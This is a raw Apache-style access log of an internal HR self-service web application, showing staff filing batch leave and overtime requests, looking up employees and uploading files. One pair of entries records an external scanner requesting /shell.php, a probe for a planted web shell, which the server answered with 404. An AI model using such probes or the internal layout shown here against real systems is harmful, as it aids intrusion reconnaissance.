/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:52:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:53:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1267116173080236 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1267116173080236 HTTP/1.1" 200 13560 192.168.11.70 - - [03/Dec/2025:08:53:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1267116173080236 HTTP/1.1" 200 15742 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1267116173080236" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1267116173080236 HTTP/1.1" 200 15742 192.168.11.70 - - [03/Dec/2025:08:53:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [03/Dec/2025:08:53:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [03/Dec/2025:08:53:27 +0800] "GET /shell.php HTTP/1.1" 404 207 100.64.0.1 - - [03/Dec/2025:08:53:27 +0800] "GET /shell.php HTTP/1.1" 404 207 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 192.168.11.70 - - [03/Dec/2025:08:53:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:53:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:53:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2164427846923629 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2164427846923629 HTTP/1.1" 200 13560 192.168.11.70 - - [03/Dec/2025:08:53:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2164427846923629 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2164427846923629" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2164427846923629 HTTP/1.1" 200 15732 192.168.11.70 - - [03/Dec/2025:08:53:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:53:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4059 192.168.11.70 - - [03/Dec/2025:08:54:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:54:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:54:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:54:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523 HTTP/1.1" 200 5264 192.168.11.70 - - [03/Dec/2025:08:54:43 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:43 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523 HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:08:54:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5145 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.2657837571914523" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5145 192.168.11.70 - - [03/Dec/2025:08:54:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4750 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4750 192.168.11.70 - - [03/Dec/2025:08:54:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:54:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:54:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.106 - - [03/Dec/2025:08:55:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.106 - - [03/Dec/2025:08:55:23 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:23 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.106 - - [03/Dec/2025:08:55:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.106 - - [03/Dec/2025:08:55:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.106 - - [03/Dec/2025:08:55:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.106 - - [03/Dec/2025:08:55:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.106 - - [03/Dec/2025:08:55:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8841312974972579 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8841312974972579 HTTP/1.1" 200 8736 192.168.11.106 - - [03/Dec/2025:08:55:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8841312974972579 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8841312974972579" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:55:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8841312974972579 HTTP/1.1" 200 14154 192.168.11.106 - - [03/Dec/2025:08:56:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.106 - - [03/Dec/2025:08:56:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.106 - - [03/Dec/2025:08:56:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12069298875740841 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12069298875740841 HTTP/1.1" 200 8736 192.168.11.106 - - [03/Dec/2025:08:56:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12069298875740841 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12069298875740841" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12069298875740841 HTTP/1.1" 200 14154 192.168.11.106 - - [03/Dec/2025:08:56:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 192.168.11.106 - - [03/Dec/2025:08:56:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8317 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8317 192.168.11.106 - - [03/Dec/2025:08:56:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 91534 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 91534 192.168.11.106 - - [03/Dec/2025:08:56:55 +0800] "GET /eHR/upload/userfile/60406255a63df596e2c6bac1e793c7b7.jpg?&openW=Y&rand=0.9249847503757112 HTTP/1.1" 200 2431559 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:55 +0800] "GET /eHR/upload/userfile/60406255a63df596e2c6bac1e793c7b7.jpg?&openW=Y&rand=0.9249847503757112 HTTP/1.1" 200 2431559 192.168.11.106 - - [03/Dec/2025:08:56:56 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.83:8088/eHR/upload/userfile/60406255a63df596e2c6bac1e793c7b7.jpg?&openW=Y&rand=0.9249847503757112" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.106 - - [03/Dec/2025:08:56:56 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.139.25 - - [03/Dec/2025:08:59:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:08:59:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.25 - - [03/Dec/2025:09:01:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css 